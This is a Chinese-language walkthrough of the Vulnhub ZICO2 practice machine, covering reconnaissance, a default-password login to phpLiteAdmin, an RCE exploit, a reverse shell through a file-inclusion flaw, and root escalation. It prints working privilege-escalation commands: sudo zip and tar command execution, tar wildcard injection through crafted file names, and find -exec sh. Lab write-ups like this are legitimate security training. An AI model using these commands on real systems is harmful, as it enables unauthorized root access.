本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

地址:​​https://www.vulnhub.com/entry/zico2-1,210/​

sudo nmap -n -p- -sC -sV -A 192.168.226.133 -o zico.nmap

nmap扫描结果

Vulnhub-靶机-ZICO2: 1_php

开放了80端口,我们先看看web应用

Vulnhub-靶机-ZICO2: 1_find命令_02

每个功能点都点击了一下,发现上述的CHECK THEM OUT! 点了进去进入如下页面

Vulnhub-靶机-ZICO2: 1_find命令_03

把图片都点了下,页面的URL没啥动静,不过看URL的形态构造像是存在LFI,那么试试看看

Vulnhub-靶机-ZICO2: 1_php_04

看到有个用户zico,先放着使用gobuster扫描下目录看看,看是否有突破口

Vulnhub-靶机-ZICO2: 1_find命令_05

看到dbadmin 和tools目录,都访问了下,发现dbadmin目录下面有个php文件,然后访问之后看到如下

Vulnhub-靶机-ZICO2: 1_find命令_06

看到对应的名称和版本号,在谷歌上搜索了下默认密码是什么 ,结果在​​https://www.acunetix.com/vulnerabilities/web/phpliteadmin-default-password/​​ 发现默认密码是admin 试了下进去了

Vulnhub-靶机-ZICO2: 1_php_07

然后用给出的名称在本地kali上搜索了下,看是否存在漏洞

Vulnhub-靶机-ZICO2: 1_php_08

确认存在远程代码执行漏洞,版本刚好对应上 1.9.3 对应exploit地址:​​https://www.exploit-db.com/exploits/24044​

Vulnhub-靶机-ZICO2: 1_php_09

按照提示操作即可

Vulnhub-靶机-ZICO2: 1_find命令_10

Vulnhub-靶机-ZICO2: 1_ico_11

创建表信息,然后就可以创建php一句话代码了

Vulnhub-靶机-ZICO2: 1_find命令_12

测试执行效果

Vulnhub-靶机-ZICO2: 1_ico_13

能够执行命令,那么这里就通过使用Python反弹shell的形式拿shell,还可以使用metasploit,不过这个太偷懒了,毕竟是学东西,还有其他形式的反弹shell 

https://jkme.github.io/pages/reverse-shell.html
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

最终将Python的反弹shell代码经过URL编码通过上面的文件包含漏洞执行反弹成功shell

Vulnhub-靶机-ZICO2: 1_find命令_14

Vulnhub-靶机-ZICO2: 1_find命令_15

Vulnhub-靶机-ZICO2: 1_php_16

升级tty-shell

Vulnhub-靶机-ZICO2: 1_php_17

反弹成功之后,首先到家目录看看,发现WordPress目录,进去看看配置文件目录,看了一下,发现zico的数据库密码,用这个密码去试试ssh登录

Vulnhub-靶机-ZICO2: 1_find命令_18

通过ssh登录看看

Vulnhub-靶机-ZICO2: 1_php_19

进去之后一把梭,执行了sudo -l 发现可以通过tar和zip进行提权,真好,擦!

---------------------------------------------------------------------------------------------------------------------------------------------

使用zip进行提权

Vulnhub-靶机-ZICO2: 1_find命令_20

zip提权大概意思就是本地新建一个空文件,然后使用zip打包,再指定需要执行的命令即可  参考:​​https://www.freebuf.com/articles/system/206007.html​

zico@zico:~$ touch bmfx
zico@zico:~$ sudo zip /tmp/bmfx.zip /home/zico/bmfx -T --unzip-command="sh -c /bin/bash"
adding: home/zico/bmfx (stored 0%)
root@zico:~# id
uid=0(root) gid=0(root) groups=0(root)

使用tar进行提权

Vulnhub-靶机-ZICO2: 1_ico_21

tar提权重点是一样的需要带入参数--checkpoint 和 --checkpoint-action来执行命令,大概意思同样是打包某一个文件,但根据上面的命令实际并没有使用tar打包,因为使用了/dev/null 最终目的是为了能够带入参数执行命令

zico@zico:~$ touch bmfx
zico@zico:~$ sudo tar cf /dev/null /home/zico/bmfx --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
root@zico:~# whoami
root
root@zico:~# id
uid=0(root) gid=0(root) groups=0(root)

脏牛提权

此方法网上有两个对应的exp,通过加用户的形式稳定,对应exp地址:​​https://github.com/FireFart/dirtycow​​ 不打算演示

另一种本地提权

参考:​​https://www.exploit-db.com/exploits/33589​

使用find进行提权

Vulnhub-靶机-ZICO2: 1_ico_22

大概意思如下:

find提权 (其实这里也是使用了tar进行执行提权,然后转到find,重点是find执行命令提权)
查看是否存在find命令setuid执行权限
find / -perm -4000 2>/dev/null | grep find
通过tar命令创建find命令具备setuid执行权限
cd /tmp
echo "chmod u+s /usr/bin/find" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
sudo tar cf archive.tar *
创建完成确认find命令是否成功被赋予setuid权限
find / -perm -4000 2>/dev/null | grep find
执行find命令开始提权
find /tmp -exec sh -i \;

重点解释下:

echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

上述两条命令是为了创建两个文件,方便通过tar命令将此文件当做命令去执行,需要理解这个即可,执行成功之后,文件创建如下:

Vulnhub-靶机-ZICO2: 1_ico_23

参考:

​https://hackingresources.com/zico2-vulnhub-walkthrough/​

Vulnhub-靶机-ZICO2: 1_find命令_24

 

迷茫的人生,需要不断努力,才能看清远方模糊的志向!